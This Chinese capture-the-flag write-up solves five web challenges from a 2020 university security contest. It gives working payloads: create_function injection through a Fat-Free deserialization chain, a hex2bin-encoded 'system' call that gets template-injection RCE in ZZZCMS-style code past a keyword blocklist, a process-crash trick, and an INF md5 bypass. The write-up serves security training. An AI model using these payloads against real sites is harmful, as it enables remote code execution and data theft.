2020全国大学生信息安全竞赛Online Web题解
导语：周末参加了一下国赛，有两年没参与了，还是一如既往的“吓人”。
0x00 前言
周末参加了一下国赛，有两年没参与了，还是一如既往的“吓人”。
0x01 babyunserialize
题目存在源码泄露：
http://eci-2ze0loaxjkuesryhroqr.cloudeci1.ichunqiu.com/www.zip
打开后发现是fatfree框架，进行代码审计，发现目标网站使用了php框架fatfree，且为最新版。同时关注到index.php路由：
$f3->route('GET /',
function($f3) {
echo "may be you need /?flag=";
}
);
unserialize($_GET['flag']);发现题目给了一个反序列化位置，且参数可控。
于是在网上搜索fatfree相关的rce chain，可以搜到此题曾在2020 WMCTF中出现过。
但搜索网上相关的pop chain，发现都没打通，于是选择自己思考。
虽然这里CLI\Agent::fetch()被删除，但其存在的send方法潜在安全隐患：
function send($op,$data='') {
$server=$this->server;
$mask=WS::Finale | $op & WS::OpCode;
$len=strlen($data);
$buf='';
if ($len>0xffff)
$buf=pack('CCNN',$mask,0x7f,$len);
elseif ($len>0x7d)
$buf=pack('CCn',$mask,0x7e,$len);
else
$buf=pack('CC',$mask,$len);
$buf.=$data;
if (is_bool($server->write($this->socket,$buf)))
return FALSE;
if (!in_array($op,[WS::Pong,WS::Close]) &&
isset($this->server->events['send']) &&
is_callable($func=$this->server->events['send']))
$func($this,$op,$data);
return $data;
}此处注意到关键位置：
if (is_bool($server->write($this->socket,$buf))) return FALSE;
我们发现，此处$server和$this->socket均可控，那么可以用来构造任意代码执行。但是存在问题，哪一个命令执行的php函数有2个参数，且第一个参数可控，第二个参数不可控就可以进行RCE？
这里想到create_function，我们可以利用如下方式，在第一个参数位置进行代码注入：
){}phpinfo();//构造exp，并发现可以成功执行phpinfo：
得到flag:
0x02 easyphp
题目给出了源码：
<?php
//题目环境：php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}此题有点不同寻常，和一般的web题有点差异，这里简单看了一下，我们需要在如下情况，才能调用phpinfo():
if(!pcntl_wifexited($status)){
phpinfo();
}查阅手册：
发现我们需要让子进程不正常退出，这里考虑到使用后面的call_user_func:
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}通过搜索php bug，可以得知：
https://bugs.php.net/bug.php?id=52173
这里我们可以利用pcntl_waitpid：
http://eci-2ze0y4x958n2qhsgv27b.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid
即可在phpinfo中获取flag。
0x03 rceme
题目给出了源码：
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉，执行出错，发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉，执行出错，发现危险字符');
}
return $s;
}
function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉，模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉，模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}简单搜了下，发现是ZZZCMS源码的一部分，参考链接如下：
https://cloud.tencent.com/developer/article/1576196
但是通过diff，发现这里的过滤比ZZZCMS多一些：
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');参考到这篇文章：
https://forum.90sec.com/t/topic/1239
其exp如下：
{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}考虑该题过滤了base_convert函数，这里想一个新的bypass方案，尝试使用hex2bin:
{if:array_map(hex2bin('73797374656d'),array('ls'))}{end if}搭配使用system函数，即可rce获取flag:
{if:array_map(hex2bin('73797374656d'),array('cat /flag'))}{end if}访问：
http://eci-2zed3ztpomt9lasf47o6.cloudeci1.ichunqiu.com/?a={if:array_map(hex2bin(%2773797374656d%27),array(%27cat%20/flag%27))}{end%20if}
0x04 littlegame
题目给了源码，简单看一下：
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
"sword": {"Gold": "20", "Firepower": "50"},
// Times have changed
"gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
"Lv1": {"Firepower": "1", "Bounty": "1"},
"Lv2": {"Firepower": "5", "Bounty": "10"},
"Lv3": {"Firepower": "10", "Bounty": "15"},
"Lv4": {"Firepower": "20", "Bounty": "30"},
"Lv5": {"Firepower": "50", "Bounty": "65"},
"Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
// Times have not changed
"Firepower": "201"
}
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
module.exports = router;首先看如何获取flag：
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});发现只要：
if(Admin[key] === password){
res.send(process.env.flag);
}即可获取flag。这里不难发现：
const setFn = require('set-value');存在原型链污染的问题，查看调用处：
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});发现key和value都可控，那就好办了，这里直接进行污染：
然后去获取flag：
0x05 easytrick
题目给出了源码：
trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);题目考察了一个小trick，要求2个变量不相等，但md5相同，以往都需要使用诸如如下工具进行爆破：
https://github.com/upbit/clone-fastcoll
这里由于有长度限制，我们可以使用trick：
<?php
class trick{
public $trick1=INF;
public $trick2=1/0;
}
$exp = new trick();
echo serialize($exp);即可进行bypass，访问：
http://eci-2ze6ie6rtdjhwozbsgmd.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}
即可获取flag。
0x06 后记
线上赛的web题还是比较简单的，可能是因为考虑参赛面广，入围资格也多吧。
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